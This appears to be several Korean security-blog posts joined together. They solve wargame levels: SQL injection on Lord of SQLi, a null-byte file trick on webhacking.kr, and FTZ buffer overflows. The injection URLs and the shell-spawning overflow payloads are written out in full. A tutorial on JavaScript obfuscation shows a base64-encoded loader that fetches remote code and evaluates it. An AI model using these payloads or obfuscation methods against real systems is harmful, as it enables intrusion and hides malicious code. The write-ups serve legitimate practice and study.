LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Cobolt에 이어 Goblin 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
	include "./config.php"; 
	login_chk(); 
	dbconnect(); 
	if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
	if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
	$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
	echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
	$result = @mysql_fetch_array(mysql_query($query)); 
	if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
	if($result['id'] == 'admin') solve("goblin");
	highlight_file(__FILE__); 
?>


위의 문제에서 5번, 6번 라인에서는 SQL Injection 문제이니만큼 Database에 대한 직접적인 공격을 막기 위한 처리가 나타나 있습니다.

여기서는 또 하나의 특징이 있습니다.

위의 값은 no(넘버) 라는 값에 쿼리를 삽입해야 하는데, 값을 입력하기 위해서 사용했었던 싱글쿼터가 필터링 되어 있는 것을 볼 수 있습니다. 그 외에도 문자열을 표현할 수 있는 표현들이 죄다 필터링 되어 있는 것을 볼 수 있습니다.


흠흠. 그렇다면 우리가 GET 형태로 넘겨줄 수 있는 값이 무엇이 있을까 살펴볼 필요가 있습니다.


위의 문제에서는 where문에 guest라는 값이 삽입되어 있습니다. 따라서 admin은 다른 방법을 통해 선택해주어야 합니다.

단, 싱글쿼터가 막혀 있기 때문에 0 or id='admin' 과 같은 방법은 통하지 않습니다.





 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 no 쪽에 값 삽입(limit 이용)


https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0%20or%201=1%20limit%201,1%23


위의 쿼리는 no=0 or 1=1 limit 1,1%23이라고 작성해주었습니다. %23은 # 즉, MySQL의 주석입니다.

그리고 여기서는 먼저 id가 guest라고 확정되어 있는 where문을 부정해줄 필요가 있습니다.

즉, id='guest'이면 admin이 선택되지 않습니다. 그렇다면 전체 값을 가져와서 그 중에 admin인 녀석을 찾아내야 합니다.

그렇게 되면 쿼리는 다음과 같이 나타나게 됩니다.


 query : select id from prob_goblin where id='guest' and no=0 or 1=1 limit 1,1#


이렇게 되면 id가 guest인 값의 번호가 0으로 선택되기 때문에 거짓 where문이 됩니다.

여기서 1=1이라는 참을 삽입하고, limit로 범위를 지정해주면, admin값을 특정해줄 수 있습니다.


그러고보니 여기서는 주석이 필요가 없군요 하하.


만약 limit 라는 문법을 사용하고 싶지 않다면 다음과 같은 방법을 이용해볼 수 있습니다.



 

 no 쪽에 값 삽입(hex 값 이용)


만약 id쪽에 값을 넣고 싶다면 다음과 같이 입력하면 되겠습니다.

https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0%20or%20id=0x61646d696e


위의 쿼리는 no=0 or id=0x61646d696e라고 작성해주었습니다.

이러한 hex 값을 이용하는 것은 MySQL에서 0x로 되어있는 16진수 값을 문자열로 받아들이기 때문입니다.

때문에 SQL 문이 다음과 같이 만들어지게 됩니다.


 query : select id from prob_goblin where id='guest' and no=0 or id=0x61646d696e


이렇게 되면 id가 guest인 값의 번호가 0으로 선택되기 때문에 거짓 where문이 됩니다.

그리고 id=0x61646d696e 즉, id='admin'인 값을 가져오라는 쿼리문으로 변하게 됩니다.





LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Gremlin에 이어 Cobolt 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
	include "./config.php"; 
	login_chk();
	dbconnect();
	if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
	if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
	$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
	echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
	$result = @mysql_fetch_array(mysql_query($query)); 
	if($result['id'] == 'admin') solve("cobolt");
	elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
	highlight_file(__FILE__); 
?>


위의 문제에서 5번, 6번 라인에서는 SQL Injection 문제이니만큼 Database에 대한 직접적인 공격을 막기 위한 처리가 나타나 있습니다. 5번, 6번 라인에서는 Cobolt 문제를 막기 위한 필터링이 아닌, Cobolt 이외의 공격은 삼가해달라라는 의미입니다.


흠흠. 그렇다면 우리가 GET 형태로 넘겨줄 수 있는 값이 무엇이 있을까 살펴보도록 합시다.


7번 라인을 보시게 되면 우리가 id라는 값과, pw라는 값을 넣어서 실제로 어떻게 SQL문을 완성시켜주는지 알 수 있도록 나타내주었습니다.


위의 문제에서 혹시나 md5() 함수를 이용할까 생각해보았지만, 제 능력으로는 어떻게 이용할 수 있을지 모르겠습니다. magic hash가 아닐까 했지만 md5 내의 싱글쿼터 및 비교 구문이 없기 때문에 불가능함을 깨달았습니다.


그렇다면 pw 부분을 비활성 시키도록 하는 주석 처리 방법이 유일할 것 같습니다.





 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 id 쪽에 값 삽입(주석 이용)


만약 id쪽에 값을 넣고 싶다면 다음과 같이 입력하면 되겠습니다.

https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin%27%23


위의 쿼리는 id=admin'%23이라고 작성해주었습니다. %23은 # 즉, MySQL의 주석입니다.

그리고 여기서는 return 되는 아이디 값이 admin이어야 한다는 조건이 있기 때문에 id에 들어가는 값이 admin이어야 합니다.

그렇게 되면 쿼리는 다음과 같이 나타나게 됩니다.


 query : select id from prob_cobolt where id='admin'#' and pw=md5('')'


이렇게 되면 id가 admin인 값을 가져와라, 가 됩니다.


만약 admin이라는 값을 안 넣어주고 싶다면 다음과 같은 풀이도 이용해볼 수 있습니다.



 

 id 쪽에 값 삽입(admin 입력 안 하고 limit 이용)


만약 id쪽에 admin이라는 특정 값을 넣고 싶지 않다면 다음과 같이 입력하면 되겠습니다.

https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=%27%20or%201=1%20limit%201,1%23


위의 쿼리는 id=' or 1=1 limit 1,1%23이라고 작성해주었습니다. limit는 리턴되는 모든 값들 중에 어느 특정 지점에서 몇 개를 가져와라, 라고 지정해줄 수 있는 SQL 문법 중 하나 입니다..

id=' or 1=1을 해주게 되면, 테이블에 있는 모든 값이 리턴되게 됩니다.

그렇게 되면 admin을 포함한 여러 데이터가 나타나게 되는 것입니다.


따라서 테이블의 몇 번째 값을 하나 가져와야 하는데, limit (번째), (개수)를 가져와보았습니다.


admin은 1번째(테이블은 원래 0부터 시작합니다.)에서 하나(1)을 가져와주도록 합니다.


 query : select id from prob_cobolt where id='' or 1=1 limit 1,1#' and pw=md5('')'


이렇게 되면 리턴된 모든 값 중에서 1번째부터 1개를 가져와라, 가 되는 것입니다.




Wargame.kr을 풀기 전에 먼저 SQL Injection에 대한 이해도와 스킬을 기본적으로 습득하기 위한 좋은 사이트가 LOS라는 조언을 듣고 Lord Of SQL을 풀기 시작했습니다.


일단 기본적으로 SQL Injection을 수행할 때 POST 형태로 수행하지 않고 GET 형태로 많은 문제를 풀이할 수 있습니다. 이는 Fiddler와 같은 다양한 프로그램을 사용하는 것에 치중하지 말고, SQL Injection에 대한 이해도를 높이는 것을 우선하라는 제작자의 배려가 아닌가 싶습니다. 


감사하게도 이러한 페이지에서 공부를 할 수 있어서 실력을 늘리고 여러 노하우를 익힐 수 있었습니다.


 제작자 Rubiya님께 매우 감사드립니다.


서론을 마치고 본격적으로 풀이를 진행해보려고 합니다.


LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.





 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>


위의 문제에서 5번, 6번 라인에서는 SQL Injection 문제이니만큼 Database에 대한 직접적인 공격을 막기 위한 처리가 나타나 있습니다. "Do not try to attack another table, database!" 라고 경고를 적어주었네요. 따라서 5번, 6번 라인에서는 Gremlin 문제를 막기 위한 필터링이 아닌, Gremlin 이외의 공격은 삼가해달라라는 의미입니다.


흠흠. 그렇다면 우리가 GET 형태로 넘겨줄 수 있는 값이 무엇이 있을까 살펴보도록 합시다.


7번 라인을 보시게 되면 우리가 id라는 값과, pw라는 값을 넣어서 실제로 어떻게 SQL문을 완성시켜주는지 알 수 있도록 나타내주었습니다.


물론 5번 라인과 6번 라인에서도 id, pw에 값을 넣어줄 수 있다는 것을 유추할 수 있지만, 직접적으로 어떻게 어떤 데이터로 들어가는지 알려주는 것은 7번 라인입니다.


id='{$_GET[id]}'와 pw='{$_GET[pw]}'를 보아하니 single quote(싱글 쿼터)가 들어가 있으므로 문자열 형태로 값을 넘겨주는 것을 알 수 있습니다. 

그리고 10번 라인을 보면, 만약 SQL 쿼리를 통해 return 되는 값이 존재한다면 문제가 풀리게 되어 있습니다.


따라서 일단 리턴되는 값이 있도록 쿼리를 짜보도록 합시다.






 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 id 쪽에 값 삽입


만약 id쪽에 값을 넣고 싶다면 다음과 같이 입력하면 되겠습니다.

 https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=%27%20or%201=1%20%23


위의 쿼리는 id=' or 1=1%23이라고 작성해주었습니다. %23은 # 즉, MySQL의 주석입니다.

그렇다면 쿼리는 다음과 같이 들어가게 됩니다.


 query : select id from prob_gremlin where id='' or 1=1 #' and pw=''


이렇게 되면 or 1=1 때문에 참이 되어 리턴되는 값이 존재하게 됩니다.

따라서 if문은 참이되어 문제가 풀리게 됩니다.



 

 pw 쪽에 값 삽입


만약 pw쪽에 값을 넣고 싶다면 다음과 같이 입력하면 되겠습니다.

https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?pw=%27%20or%20%271%27=%271 


위의 쿼리는 pw=' or '1'='1이라고 작성해주었습니다. 

여기서는 주석 처리가 필요없습니다.


이는 다음과 같이 변하기 때문입니다. 눈으로 직접 보시는 게 편합니당 ><


 query : select id from prob_gremlin where id='' and pw='' or '1'='1'


이렇게 되면 '1'='1'과 같이 참인 문법이 완성되게 됩니다. 따라서 따로 주석이 필요없게 됩니다.



 

 브레인 블리딩(Brain Bleeding)


브레인 블리딩은 KoreLogic에서 소개하는 자바스크립트 난독화 기법입니다. Korelogic의 블로그에서는 자바스크립트를 이용한 공격을 관리자에게 숨기기 위한 용도로 사용될 수 있으며, 이를 위한 방법을 제안한다고 작성되었습니다.

사실 이 기법은 원래 UTF-8이라는 웹 사이트에서 제공되는 기법을 가져와 사용한 것입니다.


브레인 블리딩의 예시는 다음과 같습니다.



 

 JJencode


여기서 사용되는 기법은 UTF-8.jp에서 제안한 JJencoding 기법을 이용하였습니다.

JJencode란 [특정한 문자]와 [$ 문자], [: 문자], [. 문자] 등을 이용하여 문자를 난독화하는 기법입니다.

기존에 문자들을 보다 복잡한 문자로 변경해주는데에 있습니다.


JJencode 예제는 다음과 같습니다.


위의 그림에서 보이는바와 같이 입력할 수 있는 UTF-8 형식의 문자를 이용하여 난독화를 수행하는 것을 볼 수 있습니다.

JJencode 웹 페이지는 다음 링크를 들어가시면 됩니다.


UTF-8.jp의 JJencode 링크


여기서 여러분이 인코딩하고자 하는 global variable name을 입력해주면 그 문자를 이용하여 난독화가 이루어지는 것을 볼 수 있습니다.




 

 브레인퍽(BrainFuck)


요약하면 [난해한 프로그래밍 언어]라고 할 수 있습니다. 이는 1993년 우어반 뮐러(Urban Muller)가 아미넷에 올려 알려진 것이 시초라고 하며, 난해한 프로그래밍 언어 중에서 매우 오래된 녀석이라고 합니다. 브레인퍽이 정말 프로그래밍 언어라고 할 수 있는 이유는 [조건문], [루프문], [배열] 등의 기능이 정말로 존재하며, 이러한 규칙을 이용하여 정말 프로그래밍할 수 있기 때문입니다.


해당 포스트에서는 자세한 언어적 요소를 다루지는 않습니다. 다만, 간략하게 소개만 하도록 하겠습니다.


 

 브레인퍽 구조

브레인퍽은 다음과 같은 일곱 가지 명령(여덟 개의 문자)들로 이루어져 있습니다.


문자

설명

+

테이프가 가리키는 숫자를 1 증가시킵니다.

-

테이프가 가리키는 숫자를 1 감소시킵니다.

>

테이프를 한 칸 오른쪽으로 옮깁니다.

<

테이프를 한 칸 왼쪽으로 옮깁니다.

.

테이프가 가리키는 숫자를 ASCII 문자로 해석해서 출력합니다.

,

문자를 하나 읽어서 ASCII 값을 테이프가 가리키는 위치에 저장합니다. 만약 파일의 끝위치(EOF - End Of File)에서 동작하는 원리는 구현체마다 차이가납니다.

[...]

루프문입니다. 매번 현재 테이브가 가리키는 숫자(매 루프마다 바뀔 수 있습니다.)가 0인지 아닌지 체크하여 조건이 만족되면 계속 안에 들어 있는 코드를 실행합니다.


위의 구조가 상당히 복잡한 것을 알 수 있습니다.

마치 어셈블리어보다 덜 고급지면서 은근 있을 건 다 있는 녀석입니다. 허허...


브레인퍽은 사실 프로그래밍일 깡으로 하기에는 부적절한 언어입니다. 때문에 기존의 코드를 난독화를 위해 사용되기도 합니다.





 

 브레인퍽 난독화 사이트


브레인퍽의 코드를 직접 작성하는 것은 머리가 기계가 아닌 이상 굉장히 어려운 일입니다. 따라서 직접 코딩하지 않고, 복잡한 구조를 이용한 난독화 기법 적용이 있습니다. 이러한 난독화 기법을 제공해주는 사이트가 있어서 소개해보려고 합니다.


DCode - Brainfuck 링크


해당 사이트에서는 두 가지 방법의 서비스를 제공합니다.

하나는 기존의 소스코드를 브레인퍽 코드로 변환해주는 인코딩(Encoding)이 있고, 브레인퍽 소스코드를 원래의 소스로 변환해주는 기능을 가지고 있습니다.


 

 브레인퍽 인코딩

기존의 코드를 브레인퍽 코드로 변경하는 예제를 살펴보도록 하겠습니다.

위와 같은 순서로 원하는 소스코드를 입력하게 되면, 브레인퍽 소스코드로 변환됩니다.




 

 브레인퍽 디코딩

브레인퍽 코드로 변경했다면 다시 원래의 코드로 바꾸는 기능이 필요하지요. 다음과 같은 순서로 난독화한 소스코드를 입력해준다면, 다시 원래의 소스코드를 보여주는 서비스도 함께 제공합니다!




 

 자바스크립트 난독화(Javascript Obfuscation)란?


자바스크립트는 클라이언트(Client)에서 실행되도록 하는 언어입니다. 따라서 사용자(Client)가 웹사이트에 접근하게 되면 해당 스크립트를 그대로 볼 수 있게 됩니다. 이를 방지하고자 적용하는 기법이 바로 난독화입니다. 난독화는 자바스크립트 이외에도 다양한 언어에서 사용할 수 있습니다. 그러나 이 포스트에서는 자바스크립트의 난독화와 난독화 기법과 방법에 대해 알아보려고 합니다.


자바스크립트의 난독화 예시는 다음과 같이 있습니다.


자바스크립트 예제 소스

var ajax=function(a,b,d,c,e,f){
 e=new FormData();
 for(f in d){e.append(f,d[f]);};
 c=new XMLHttpRequest();
 c.open('POST',a);
 c.setRequestHeader("Troll1","lol");
 c.onload=b;
 c.send(e);
};
window.onload=function(){
 ajax('Troll.php',function(){
  (new Function(atob(this.response)))()
 },{'Troll2':'lol'});
}


자바스크립트 예제 소스 난독화(Base64)

(new Function(atob('dmFyIGFqYXg9ZnVuY3Rpb24oYSxiLGQsYyxlLGYpe2U9bmV3IEZvcm1EYXRhKCk7Zm9yKGYgaW4gZCl7ZS5hcHBlbmQoZixkW2ZdKTt9O2M9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7Yy5vcGVuKCdQT1NUJyxhKTtjLnNldFJlcXVlc3RIZWFkZXIoIlRyb2xsMSIsImxvbCIpO2Mub25sb2FkPWI7Yy5zZW5kKGUpO307d2luZG93Lm9ubG9hZD1mdW5jdGlvbigpe2FqYXgoJ1Ryb2xsLnBocCcsZnVuY3Rpb24oKXsgKG5ldyBGdW5jdGlvbihhdG9iKHRoaXMucmVzcG9uc2UpKSkoKX0seydUcm9sbDInOidsb2wnfSk7fQ==')))()


자바스크립트 예제 소스 난독화(Base64 + PHP)

<?php
$t1=apache_request_headers();
if(base64_encode($_SERVER['HTTP_REFERER'])=='aHR0cDovL2hlcmUuaXMvbXkvbGF1bmNoZXIuaHRtbA=='&&$_POST['Troll2']=='lol'&&$t1['Troll1']='lol'){
 echo 'ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKSkuaW5uZXJUZXh0PSdBd2Vzb21lJzsNCg==';//here is the SECRET javascript code
}else{
 echo 'd2luZG93Lm9wZW4oJycsICdfc2VsZicsICcnKTt3aW5kb3cuY2xvc2UoKTs=';
};
?>


위의 예제 소스는 단순히 javascript를 base64로 난독화했을 뿐입니다.

때문에 사실은 난독화라고 하기에는 기법의 깊이가 매우 낮은 수준입니다.


이러한 간단한 기법 이외에도 다양하고 독특한 난독화 기능들이 있습니다.

아래에서 그 기법들을 알아보도록 합시다.



 

 웹 사이트의 자바스크립트 난독화 서비스


자바스크립트를 난독화해주는 웹 사이트들을 소개하려고 합니다. 설명이 많이 필요없고 다음 사이트의 예제와 링크를 살펴보시겠습니다.


Javascript Compressor(Dean.edwards) 링크

이 사이트는 개인이 제공하는 서비스인 것 같습니다.

아무런 옵션을 주지 않았을 때의 결과는 다음과 같이 패킹을 해줍니다.




만약 Base62 encode를 적용해주고 packing을 하게 되면 다음과 같이 보다 정교한 난독화가 됩니다.




Obfuscator.io 링크

이 사이트는 해외 사이트이며, hex코처럼 변수를 만들어 보다 복잡한 구조로 난독화를 수행해주는 사이트입니다.

예시는 다음과 같습니다.





JavascriptObfuscator.com 링크

이 사이트도 위의 obfuscator.io와 비슷한 사이트입니다.

예시는 다음과 같습니다.





 

 괴짜스러운 난독화


난독화를 제공하는 사이트는 위의 사이트 이외에도 굉장히 다양하게 존재합니다.

물론 다음과 같이 이모티콘처럼 만든다던가, 변수 이름을 헷갈리게 만들어 알아먹기 힘들게 한다든가 하는 난독화 기법도 존재합니다.


일본 이모티콘 자바스크립트 난독화 사이트 링크


링크의 이름대로 일본에서 쓰이는 이모티콘을 이용하여 코드를 난독화해주는 사이트입니다.

예시는 다음과 같습니다.

해당 사이트는 일본 이모티콘 난독화, Japanese obfuscation, obfuscation emoticon 등으로 검색해서 사이트를 찾을 수 있습니다.




브레인 블리딩 자바스크립트 난독화 사이트 링크


이 사이트는 사실 웹 자체에서는 서비스를 제공하고 있지 않습니다.

그러나 이 기법이 매우 독특하여 참고할 수 있을 것 같아 공유해보려 합니다.

해당 사이트에서는 소스코드를 $와 _를 이용하여 난독화를 수행하도록 합니다.


프로그램을 다운로드 받아서 코드를 난독화된 코드로 바꿔보도록 합시다.



UTF-8.jp의 JJencode 링크


여기서 여러분이 인코딩하고자 하는 global variable name을 입력해주면 그 문자를 이용하여 난독화가 이루어지는 것을 볼 수 있습니다.





[그림 01] level25 시작


level25를 시작하니 Directory listing 취약점처럼 보이는 것이 있습니다.

혹시 저 text 창이 webshell은 아니게찌이~?

......아닙니다. 그냥 text 영역입니다.


우리는 이제 URL을 살펴볼 필요가 있습니다.

혹시 GET 방식으로 뭔가 넘기는 게 있지 않을까 살펴보는 것이죠.


[그림 02] GET으로 넘기는 값 확인


GET 방식으로 ?file=hello를 넘기는 것을 확인할 수 있습니다.

현재 리스팅 된 파일을 보면 hello.txt라는 것이 보입니다. 그러나 file에서는 hello만 입력되었다는 것은 .txt가 뒤에 붙는다는 것을 말하는 것 같습니다.

그렇다면 우리는 hello만 file의 값으로 넘기면 뒤에 .txt를 붙여주게 된다는 힌트를 얻었습니다.

우리는 뒤에 있는 .txt를 소용없도록 만들어야 합니다.


문자열이라는 개념으로 다시 돌아가보면, 문자열의 끝은 NULL값으로 구분한다는 것을 알 수 있습니다.

그렇다면 우리는 '우리가 넘겨준 값이 진짜고 뒤에 붙는 .txt는 가짜입니다.'라는 것을 컴퓨터에게 알려줘야 합니다.

그렇다면 뒤에 hello.txt가 되기 전에 우리가 의도적으로 hello.txt를 만들어봅시다.


[그림 03] hello.txt%00 만들기


hello.txt%00은 hello.txt 뒤에 NULL도 함께 보내준다는 의미입니다.

실험해본 결과(with Fiddler 4) URL이 다시 ?file=hello로 바뀌지 않는 것을 보니 %00값이 소용이 있는 것으로 보입니다.

이제 우리는 password.php를 봐봐야겠습니다. 허허



[그림 04] 해결



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No13(1000) - old  (0) 2019.12.15
Webhacking.kr_No.28(500) - old  (0) 2019.10.25
Webhacking.kr_No.27(150) - old  (0) 2019.10.25
Webhacking.kr_No.26(100) - old  (0) 2019.10.24
Webhacking.kr_No.24(100) - old  (0) 2016.06.28
Webhacking.kr_No.23(200) - old  (0) 2016.06.28
Webhacking.kr_No.20(200) - old  (0) 2016.06.28
Webhacking.kr_No.18(100) - old  (0) 2016.06.28

level16의 ID와 PW는 아래와 같습니다.


ID : level16

PW : about to cause mass


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


hint 파일을 살펴보면 다음과 같습니다.


[그림 1] level16 hint파일


힌트파일에서 attackme의 소스를 [그림 1]과 같이 보여주고 있습니다.

이 소스를 요약하면 다음과 같은 특징을 가집니다.


01. int 형으로 crap선언

02. *call에 printit이라는 함수의 주소를 저장

03. char형으로 버퍼 20byte 선언

04. 버퍼를 48byte 읽음

05. call 함수를 불러들임

06. shell이라는 함수에서 다음 권한으로 /bin/sh이 실행됨


우리는 먼저 fgets()함수로 불러오는 부분의 메모리를 살펴보고, call()이 왜 불러지는지를 살펴봐야 할 것 같습니다.

attackme를 atm으로 카피하여 분석해봅시다.

[그림 2] atm 파일을 gdb로 열어본 모습


main+39를 보니 call() 함수의 주소를 적어놓는 것 같습니다.

call()에는 printit()이라는 함수의 주소가 들어가 있습니다.

그리고, eax에 저장된 함수의 주소는 main+6를 보니 ebp에서 -0x10 떨어진 곳에 call() 함수의 주소를 저장하는 것 같습니다.

eax에 shell()이라는 함수의 주소를 적어주면 printit()이라는 함수 대신 shell()이 실행될 것입니다.

그럼 우리는 shell()함수의 주소를 확인할 필요가 있습니다.


[그림 3] shell함수의 실행주소 및 실행코드


shell() 함수의 주소는 0x080484d0입니다.

이제 eax에다가 저장하면 될 것 같습니다.

현재 eax에는 printit의 함수 주소, 0x8048500이 들어 있을 것입니다.


[그림 4] printit() 함수가 ebp-0x10에 있는 모습


ebp의 주소는 0xbfffde68로 0xbfffde88이라는 값을 가지고 있습니다.

그리고 ebp-0x10에는 printit()함수의 주소가 들어가 있는 것을 확인할 수 있습니다.


[그림 5] A*40개 + B*4개로 확인한 위치


A 40개와 B 4개를 입력하여 위치를 확인해보면 [그림 5]와 같은 상태를 확인할 수 있습니다.

즉, 40Byte의 더미값과 4Byte의 shell()함수의 주소를 넣어 shell()함수를 실행시키면 될 것 같습니다.


입력위치(/home/level15)

코드 : (python -c 'print "A"*40 + "\xd0\x84\x04\x08"';cat)| ./attackme

[그림 6] 문제 해결



'WARGAMES > FTZ' 카테고리의 다른 글

level15_FTZ_SIMPLE BOF기법  (0) 2016.08.24
level14_FTZ_SIMPLE BOF기법  (0) 2016.08.10
level13_FTZ_RTL기법  (0) 2016.08.08
level12_FTZ_RTL기법  (0) 2016.08.07
level11_FTZ_RTL기법  (0) 2016.07.21
level10_FTZ  (0) 2016.07.21
level09_FTZ  (0) 2016.07.21
level08_FTZ  (0) 2016.01.07

leve15의 ID와 PW는 아래와 같습니다.


ID : level15

PW : guess what


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


hint 파일을 살펴보면 다음과 같습니다.


[그림 1] level15 hint파일


힌트파일에서 attackme의 소스를 [그림 1]과 같이 보여주고 있습니다.

이 소스를 요약하면 다음과 같은 특징을 가집니다.


01. int 형으로 crap선언

02. int 형으로 check선언

03. char형으로 20Byte만큼의 buf 선언

04. (level14와의 차이) *check가 가리키고 있는 곳의 Hex값이 0xdeadbeef라면 문제가 해결됨


우리는 먼저 이 check라는 변수가 어디에 위치하는지 알아야 합니다.

attackme를 역시나 atm으로 복사하여 gdb로 파일을 열어보도록 합시다.


[그림 2] atm 파일을 gdb로 열어본 모습


main+3을 보면 0x38만큼 스택의 장소를 마련하고, 이는 level14와 다르지 않다는 것을 알 수 있습니다.

그렇다면, level14와 마찬가지로 check의 위치를 알아낼 수 있을 것으로 추측됩니다.

main+32를 보면 0xdeadbeef와 %eax가 가리키고 있는 값을 비교하고 있는 것을 볼 수 있습니다.

그리고 main+29는 %eax에 0xfffffff0(%ebp)의 값을 넣고 있는 것을 알 수 있습니다.

그럼 우리는 (ebp-0x10)에 우리가 원하는 값을 넣어줘야 한다는 걸 추측할 수 있을 것입니다.


이 문제는 포인터와 어셈블리에서 값을 말하는지 포인터를 말하는지에 대해 구분할 필요가 있습니다.


level14와 level15에서는 ebp-0x10과 0xdeadbeef를 바로 비교하지 않고, ebp-0x10을 가리키는 어떠한 포인터를 한 번 더 붙이는 것을 볼 수 있습니다.

요약하면 [그림 3]과 같습니다.


[그림 3] level14와 level15를 비교한 그림


[그림 3]의 위는 level14의 풀이를 간단히 요약한 그림이고, 아래의 그림은 level15에서의 풀이를 간단히 요약한 그림입니다.

level15의 그림에서 0xdeadbeef의 Address를 넣어야 한다는 것을 의미합니다.

즉, 이는 0xdeadbeef라는 값을 가지고 있는 주소를 가리키면 된다는 의미입니다.

TIP을 살펴보면 0xdeadbeef의 address는 main함수 내에 있을 수 있다, 고 합니다.

이 말은 main함수에서 0xdeadbeef를 비교할 때 사용하기 때문에 0xdeadbeef는 메인함수의 어느 부분에 존재할 것이라는 의미입니다.

또한, 우리는 buffer에 0xdeadbeef를 쓰고, 그곳을 가리키면 될 것이라는 다른 접근 방법도 있을 것입니다.

작성자는 후자를 먼저 해보았지만... 안 되더군요.. 왜 안 되는지는 이론상으로는 알 수 없어, 전자로 풀었습니다.


그렇다면 우리는 ebp-0x10에는 0xdeadbeef를 넣어야 하는 게 아니라 0xdeadbeef를 가리키는 주소값을 넣어야 한다는 것을 알 수 있습니다.


main내에서 0xdeadbeef를 찾아보도록 합시다.


gdb atm -q를 통해 main함수를 열어보면 main+32에서 0xdeadbeef와 비교하는 모습을 볼 수 있습니다.

그렇다면 우리는 main+29~main+32 내에 0xdeadbeef가 숨어있을 것으로 생각할 수 있습니다.(물론 저는 풀다가 겨우 알았습니다....)


[그림 4]는 main+30부터 쭉 열어본 모습입니다.


[그림 4] main+30부터 열어본 모습


0x80484ae~ 0x80484ee까지 열어보았습니다. 0x80484b2에 0xdeadbeef가 있는 것을 볼 수 있습니다.

그렇다면 우리는 ebp-0x10에 0x80484b2의 값을 넣어주는 것이 해답일 것입니다..!!(헉헉)


입력위치 (/home/level15)

코드 : (python -c 'print "A"*40 + "\xb2\x84\x04\x08"';cat) | ./attackme


[그림 5] level16 비밀번호(my-pass 입력)



'WARGAMES > FTZ' 카테고리의 다른 글

level16_FTZ_SIMPLE BOF기법  (0) 2016.09.12
level14_FTZ_SIMPLE BOF기법  (0) 2016.08.10
level13_FTZ_RTL기법  (0) 2016.08.08
level12_FTZ_RTL기법  (0) 2016.08.07
level11_FTZ_RTL기법  (0) 2016.07.21
level10_FTZ  (0) 2016.07.21
level09_FTZ  (0) 2016.07.21
level08_FTZ  (0) 2016.01.07

+ Recent posts